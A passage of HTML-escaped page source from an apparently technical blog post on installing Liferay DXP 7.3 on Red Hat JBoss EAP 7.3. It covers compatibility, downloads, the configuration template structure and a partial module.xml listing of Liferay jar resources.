      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/60be1991b40d5d82496213b7a1e48cc8/91608/liferay-dxp-7.3-files-download.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:60.66666666666667%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;243\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20243\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M50%20104l-1%2051-1%2051-2%204c0%202%200%202%202%202%201-1%201%200%201%208l1%209%201%201-1%201-2%201c-1%202%200%203%203%200h1c-1%202%205%202%206%201h2l1-1c0%202%2010%202%2011%200h1v2l1-1%201-1%201%201v1l1-2c0-2%201-2%2034-2%2032%200%2035%200%2035%202h1l1-2%202%202%201%202v-2h1c1%201%205%201%207-1h1l-1%202c-1%201-1%201%202%201s4-1%203-2l1-1%201%202%201%201v-1l1-2%201%201c1%203%203%203%202%200%200-2%200-2%201-1%200%202%201%202%203%201%201-2%207-2%2036-2%2034%200%2035%200%2035%202l1%202v-2l1-2%201%202%201%201%204%201%201-1v-1l1%201h1l1-2v2l1%201%202-1c0-1%201-1%201%201%201%201%201%201%201-1%201-3%203-4%203-1l1-1c2-1%202-1%202%201h2l4%201%203-1c-1-2%202-2%2022-2h24V104l-137-1-137%201m288%2015v7h46v-14l-23-1h-23v8M64%20189l-1%203c0%202%200%202%205%202h10l2-1h2c0-2%200-2%201-1%202%203%2012%203%2012%200h1l3%202c1%200%202%200%201-1l-1-1h1l1-1-6-1h-8v1l1%202-2-1c-1-1-4-2-10-2l-9-1h-3m19%2013c0%203%202%204%204%202h2l2%201h6l3-2h4c2%203%203%202%204-1%200-3%200-3-1-2H87l-2-1c-2%200-2%201-2%203\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/60be1991b40d5d82496213b7a1e48cc8/c85cb/liferay-dxp-7.3-files-download.webp 300w,/static/60be1991b40d5d82496213b7a1e48cc8/e88ff/liferay-dxp-7.3-files-download.webp 600w,/static/60be1991b40d5d82496213b7a1e48cc8/92f8c/liferay-dxp-7.3-files-download.webp 1200w,/static/60be1991b40d5d82496213b7a1e48cc8/e4396/liferay-dxp-7.3-files-download.webp 1251w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/60be1991b40d5d82496213b7a1e48cc8/5a46d/liferay-dxp-7.3-files-download.png 300w,/static/60be1991b40d5d82496213b7a1e48cc8/0a47e/liferay-dxp-7.3-files-download.png 600w,/static/60be1991b40d5d82496213b7a1e48cc8/c1b63/liferay-dxp-7.3-files-download.png 1200w,/static/60be1991b40d5d82496213b7a1e48cc8/91608/liferay-dxp-7.3-files-download.png 1251w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 25 - Liferay DXP file download section 7.3&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/60be1991b40d5d82496213b7a1e48cc8/c1b63/liferay-dxp-7.3-files-download.png&quot; title=&quot;Figure 25 - Liferay DXP file download section 7.3&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 25 - Liferay DXP file download section 7.3&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;From the &lt;a href=&quot;https://www.liferay.com/documents/10182/246659966/Liferay+DXP+7.3+Compatibility+Matrix.pdf/30fb6a1e-431d-7c84-e211-f2a0590013bf?t=1601420622638&quot;&gt;Liferay DXP 7.3 Compatibility Matrix&lt;/a&gt;
document we can see the compatibility with the Red Hat JBoss EAP 7.3 Application Server.
It is reasonable to think about installing Liferay DXP 7.3 on JBoss EAP 7.3.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/a0b433ab0e584972f51b2f1a0c28d37e/33c15/liferay-dxp-7.3-compatibility-matrix.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:41%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;163\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20163\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M66%2013c0%207%201%208%206%206%206-3%203-13-4-13-2%200-2%200-2%207m1%20100c-3%202-4%203-4%2010%200%2010%202%2011%2017%2012%2012%201%2012%202%2013%204s1%202%201%200%203-3%203-1h1v1l1%202%201-3c0-2%202-1%202%201s0%202%201%201l1-2v2c1%201%201%201%201-1s1-2%204-2c8%200%2014-10%2011-21l-1-4H94l-27%201m0%202c-2%201-3%204-1%204l1%201-1%201c-1-1-1%201-1%203l1%205%201%202v1l36%203c9%200%2010%200%2012-3%203-3%205-9%204-14l-1-4H94l-27%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/a0b433ab0e584972f51b2f1a0c28d37e/c85cb/liferay-dxp-7.3-compatibility-matrix.webp 300w,/static/a0b433ab0e584972f51b2f1a0c28d37e/e88ff/liferay-dxp-7.3-compatibility-matrix.webp 600w,/static/a0b433ab0e584972f51b2f1a0c28d37e/92f8c/liferay-dxp-7.3-compatibility-matrix.webp 1200w,/static/a0b433ab0e584972f51b2f1a0c28d37e/c6d7b/liferay-dxp-7.3-compatibility-matrix.webp 1463w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/a0b433ab0e584972f51b2f1a0c28d37e/5a46d/liferay-dxp-7.3-compatibility-matrix.png 300w,/static/a0b433ab0e584972f51b2f1a0c28d37e/0a47e/liferay-dxp-7.3-compatibility-matrix.png 600w,/static/a0b433ab0e584972f51b2f1a0c28d37e/c1b63/liferay-dxp-7.3-compatibility-matrix.png 1200w,/static/a0b433ab0e584972f51b2f1a0c28d37e/33c15/liferay-dxp-7.3-compatibility-matrix.png 1463w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 26 - Application Server Section - Liferay DXP Compatibility Matrix 7.3&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/a0b433ab0e584972f51b2f1a0c28d37e/c1b63/liferay-dxp-7.3-compatibility-matrix.png&quot; title=&quot;Figure 26 - Application Server Section - Liferay DXP Compatibility Matrix 7.3&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 26 - Application Server Section - Liferay DXP Compatibility Matrix 7.3&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Then let&amp;#x27;s go to the Red Hat Customer Portal to download the following files
concerning the new version of JBoss EAP 7.3.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Red Hat JBoss Enterprise Application Platform 7.3: jboss-eap-7.3.0.zip&lt;/li&gt;&lt;li&gt;Red Hat JBoss Enterprise Application Platform 7.3 Patch: jboss-eap-7.3.3-patch.zip&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;The two figures below show the files to download concerning JBoss EAP 7.3.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/2e343c9e731311238046d52690541ff8/2a08f/readhat-customer-portal-downalod-jboss-eap-1.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:49%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;196\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20196\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M18%205c-1%201-2%202-4%201l-2%201H9L7%206h2c2%200%202%200%201-1-1-2-4-1-5%201l2%203%203%201H5c1%202%2010%202%2011%201h2c1%201%201%201%201-1%200-4%202-4%202-1l2%203%201-3-1-2%201%202c1%203%203%204%203%202h4c3%202%205%201%205-2s-4-5-4-1h-1l-1-1h-4l-4-1c-2%200-3-1-2-2%200-2-1-1-2%201m30%203c0%204%202%206%205%203%201-2%202-1%203%200h9c0%202%202%201%202-1l1-2v2c0%203%202%203%202-1%200-3%201-2%202%202%201%201%201%200%201-1%200-3-1-4-4-4l-3%201h-4l-4-1c-2%201-4%200-4-1l-4-1c-2%200-2%200-2%204m26%200c0%202%200%204%201%203h7l2%201%202-2h1l5%202c4%200%204-1%205-3%200-2-1-3-2-3l-3-1h-1l-5%202-2-1c-2%200-2%200-2%202%201%202%200%201-2-1h-3c-2%201-2%201-2-1-1-2-1%200-1%202m21%2020v2h3c1%202%202%202%203%201h4l11-1%2010-1%201%201c1%201%201%201%201-1l-2-2h-16l-2-1v-1l-1%201c0%201-1%202-4%201l-4%201h-1c0-3-2-3-3%200M5%2076v5h354V70H5v6M4%2089l1%207h394V82H4v7m2%200v5h391V84H6v5m284-1c-1%201%200%203%201%203l1-1v-1h2c-1%201%200%202%201%202h4c2%200%202%200%201-1h2c3%202%203%202%204%200h4l5%201c3%200%205-1%205-2%200-2-12-3-14-1h-5l-2-1-2%201h-7m-1%2012l1%202c1%202%207%202%207%201h1c2%201%207%201%209-2v1l1%202%201-1h10c2-2%200-4-3-4-2%200-3%200-2%201v1h-3c1-2-5-2-6%200h-1c0-2%200-2-1-1h-2l-2-1-2%201h-8m1%2087c-1%201%200%203%201%203l1-1v-1h2c-1%201%200%202%201%202h4c2%200%202%200%201-1h2c3%202%203%202%204%200h4l5%201c3%200%205-1%205-2%200-2-12-3-14-1h-5l-2-1-2%201h-7\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/2e343c9e731311238046d52690541ff8/c85cb/readhat-customer-portal-downalod-jboss-eap-1.webp 300w,/static/2e343c9e731311238046d52690541ff8/e88ff/readhat-customer-portal-downalod-jboss-eap-1.webp 600w,/static/2e343c9e731311238046d52690541ff8/92f8c/readhat-customer-portal-downalod-jboss-eap-1.webp 1200w,/static/2e343c9e731311238046d52690541ff8/bdb03/readhat-customer-portal-downalod-jboss-eap-1.webp 1422w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/2e343c9e731311238046d52690541ff8/5a46d/readhat-customer-portal-downalod-jboss-eap-1.png 300w,/static/2e343c9e731311238046d52690541ff8/0a47e/readhat-customer-portal-downalod-jboss-eap-1.png 600w,/static/2e343c9e731311238046d52690541ff8/c1b63/readhat-customer-portal-downalod-jboss-eap-1.png 1200w,/static/2e343c9e731311238046d52690541ff8/2a08f/readhat-customer-portal-downalod-jboss-eap-1.png 1422w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 27 - Red Hat JBoss Enterprise Application Platform download section 7.3&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/2e343c9e731311238046d52690541ff8/c1b63/readhat-customer-portal-downalod-jboss-eap-1.png&quot; title=&quot;Figure 27 - Red Hat JBoss Enterprise Application Platform download section 7.3&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 27 - Red Hat JBoss Enterprise Application Platform download section 7.3&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/dca4e26a1990ec30df927a5bb2bdc5dd/07a9c/readhat-customer-portal-downalod-jboss-eap-2.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:48.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;194\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20194\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M19%204l-4%201-2%201c-1%201-5%200-5-1h2c2%200%202%200%201-1L8%203C6%204%205%207%207%207l3%201-2%201H6c0%202%203%202%205%201h8l1-2c0-3%202-3%202%200l2%203%201-3c-1-2-1-2%200%200s3%203%203%201h3l1%201c2%202%207%201%207-2l1-2v1c0%201%202%204%204%204s1-2-1-2c-1-1-1-1%201-1%205%200%201-3-5-3l-5%201v1h-2c0-1-2-2-10-2-1%200-2-1-1-2l-2%201m29%203c0%204%202%205%205%203h3c2%201%205%200%205-1h7l1%201%201-2c0-3%202-2%202%202%201%201%201%200%201-2V5h-4l-5%201h-8l-2-1c-2-4-6-3-6%202m26%200c0%203%200%204%201%203%200-2%201-2%201-1s3%202%204%201h8l5%201c3-1%204-1%204-3s0-3-2-3l-3-1h-1l-5%202-2-1c-2%200-2%200%200%201%201%201%201%201-1%201l-2-1h-5c0%201-1%201-1-1-1-2-1-1-1%202M62%2027c0%202%200%202%207%202l8-1h1c0%202%200%202%202%202l3-1%201-1v-1l1%201%204%201%204-2c0-1-3-2-14-2-10%200-13%201-13%202l-1%201c-1%200-1-2%201-3l-2-1c-2%200-2%201-2%203m33-1v3h16l5-1h1l6%201c4%200%205%200%205-2l-4-1-4-1h-6l-1%201-1%202v-2l-2-1h-1l-3-1-5%201-2%201h-1c-2-2-2-2-3%200M6%2077L5%2090v3h390V80h-39l-1-6v-6H6v9m1%209v5h386V81H7v5\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/dca4e26a1990ec30df927a5bb2bdc5dd/c85cb/readhat-customer-portal-downalod-jboss-eap-2.webp 300w,/static/dca4e26a1990ec30df927a5bb2bdc5dd/e88ff/readhat-customer-portal-downalod-jboss-eap-2.webp 600w,/static/dca4e26a1990ec30df927a5bb2bdc5dd/92f8c/readhat-customer-portal-downalod-jboss-eap-2.webp 1200w,/static/dca4e26a1990ec30df927a5bb2bdc5dd/f992d/readhat-customer-portal-downalod-jboss-eap-2.webp 1440w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/dca4e26a1990ec30df927a5bb2bdc5dd/5a46d/readhat-customer-portal-downalod-jboss-eap-2.png 300w,/static/dca4e26a1990ec30df927a5bb2bdc5dd/0a47e/readhat-customer-portal-downalod-jboss-eap-2.png 600w,/static/dca4e26a1990ec30df927a5bb2bdc5dd/c1b63/readhat-customer-portal-downalod-jboss-eap-2.png 1200w,/static/dca4e26a1990ec30df927a5bb2bdc5dd/07a9c/readhat-customer-portal-downalod-jboss-eap-2.png 1440w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 28 - Red Hat JBoss Enterprise Application Platform 7.3 Patch download section&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/dca4e26a1990ec30df927a5bb2bdc5dd/c1b63/readhat-customer-portal-downalod-jboss-eap-2.png&quot; title=&quot;Figure 28 - Red Hat JBoss Enterprise Application Platform 7.3 Patch download section&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 28 - Red Hat JBoss Enterprise Application Platform 7.3 Patch download section&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;New version of JBoss and new configuration template (see 5.1. Template of JBoss
EAP configuration) of which you will find the related files on the project extension
&lt;a href=&quot;https://github.com/smclab/liferay-docker/tree/feature/build-with-jboss-eap/template/jboss-eap/7.3.0&quot;&gt;liferay-docker&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;As for Liferay, there are no substantial changes to be made compared to the
previous version, the documentation is always valid
&lt;a href=&quot;https://learn.liferay.com/dxp/7.x/en/installation-and-upgrades/installing-liferay/installing-liferay-on-an-application-server/installing-on-jboss-eap.html&quot;&gt;Installing on JBoss EAP&lt;/a&gt;.
The figure below shows the structure of the configuration template for JBoss EAP 7.3.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/0aad4a9c7900e5804e08f7134b880561/bc3ae/tree-directory-template-jboss-eap-7.3.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:61.33333333333334%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;245\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20245\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%20123a830%20830%200%20002%20119c-2%200%200-2%202-1%202%200%203%201%203%202%201%203%204%203%204%200%201-2%203-3%203%200l1-1%201-1c0%201%200%202%201%201%203-1%2012-1%2012%201h1c1-2%206-2%205%200l1%202%201-3c0-2%200-2%201-1h4c2%200%203%201%203%202%200%202%200%202%202%201h1l2%201c2%200%202-1%202-2l1-2%201%202%201-1c1-2%203-2%203%201l2%202%202-1c-1-1%200-2%201-3s1-1%201%201v3l1-2c0-3%202-4%202-1%200%202%200%202%201%200l1-2%201%202%201%201a1182%201182%200%2000168%202h162V0H0v123m3-24v94h9l-4-1H4V23h4l4-1H8c-4%200-4%200-4-3s0-3%204-3l4-1H8c-4%200-4%200-4-2%200-3%201-3%204-3l4-1H8C5%209%204%208%204%207%203%206%203%2048%203%2099m12-32c0%2038%200%2044%202%2044l1%2040v39h3l3%201h5c-2%200-2%200-2%202s0%202%202%201c1-2%202-2%202-1%201%201%201%200%201-1v-2h107v-83H79c-54%200-61%200-61%202l-1%201-1-40V29h4l5-1h-5c-3%200-4%200-4-3-1-1-1%2017-1%2042m4%2042l3%201%203%201h-6v78h119v-81H41l1%202-1%202-1-2c0-1-1-2-3-2s-2%200-1%202l-1%202c-1%200-2-1-1-2%200-2%200-2-2-2s-3%201-3%202l-1%202-1-1c1-2%200-3-4-3l-4%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/0aad4a9c7900e5804e08f7134b880561/c85cb/tree-directory-template-jboss-eap-7.3.webp 300w,/static/0aad4a9c7900e5804e08f7134b880561/e88ff/tree-directory-template-jboss-eap-7.3.webp 600w,/static/0aad4a9c7900e5804e08f7134b880561/92f8c/tree-directory-template-jboss-eap-7.3.webp 1200w,/static/0aad4a9c7900e5804e08f7134b880561/144c0/tree-directory-template-jboss-eap-7.3.webp 1268w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/0aad4a9c7900e5804e08f7134b880561/5a46d/tree-directory-template-jboss-eap-7.3.png 300w,/static/0aad4a9c7900e5804e08f7134b880561/0a47e/tree-directory-template-jboss-eap-7.3.png 600w,/static/0aad4a9c7900e5804e08f7134b880561/c1b63/tree-directory-template-jboss-eap-7.3.png 1200w,/static/0aad4a9c7900e5804e08f7134b880561/bc3ae/tree-directory-template-jboss-eap-7.3.png 1268w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 29 - JBoss EAP configuration template directory structure 7.3&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/0aad4a9c7900e5804e08f7134b880561/c1b63/tree-directory-template-jboss-eap-7.3.png&quot; title=&quot;Figure 29 - JBoss EAP configuration template directory structure 7.3&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 29 - JBoss EAP configuration template directory structure 7.3&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Regarding the specific configuration of Liferay, the only change made with
the new version concerns the &lt;code&gt;module.xml&lt;/code&gt; file, to which two have been added
new resources, &lt;code&gt;com.liferay.petra.sql.dsl.api.jar&lt;/code&gt; and&lt;code&gt;com.liferay.petra.sql.dsl.spi.jar&lt;/code&gt;.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;xml&quot; data-index=&quot;9&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;com.liferay.portal&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;xmlns&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;urn:jboss:module:1.8&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resources&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resource-root&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;com.liferay.petra.concurrent.jar&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resource-root&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;com.liferay.petra.executor.jar&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resource-root&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;com.liferay.petra.function.jar&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resource-root&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;com.liferay.petra.io.jar&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resource-root&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;com.liferay.petra.lang.jar&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
